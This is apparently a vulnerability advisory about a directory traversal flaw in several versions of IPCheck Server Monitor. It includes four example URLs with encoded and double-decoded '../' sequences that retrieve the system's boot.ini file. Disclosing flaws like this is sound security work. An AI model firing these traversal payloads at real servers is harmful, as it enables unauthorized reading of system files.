Directory Traversal vulnerability in IPCheck Monitor Server -------------------------------------- Overview A directory traversal vulnerability has been identified in IPCheck Server Monitor Free/Trial/Professional, which may be exploited by potential attackers to retrieve files from the underlying OS. -------------------------------------- Description An input validation error in the user supplied URL makes it possible to retrieve files from the system root drive via directory traversal attacks using typical hex Unicode and double decode directory traversal strings. Examples: http://[host]:8080/images%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2 f..%2f..%2fboot.ini http://[IPAddress]/images%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2 f..%2f..%2fboot.ini http://[IP address]/images../..../..../..../..../..../..../..../..../..../..../.... /boot.ini http://[IP address]/images/..%255c../..%255c../..%255c../..%255c../boot.ini -------------------------------------- Affected Versions IPCheck Server Monitor 4.3.1.368 IPCheck Server Monitor 4.3.1.382 IPCheck Server Monitor 5.1.0.342 IPCheck Server Monitor 5.2.0.404 IPCheck Server Monitor 5.3.0.508 IPCheck Server Monitor 5.3.2.609 (Current) (Tested on Microsoft Windows server 2003 platform, other platforms maybe affected also). -------------------------------------- Impact This particular URL presents the systems boot.ini file located on the root of the system drive.
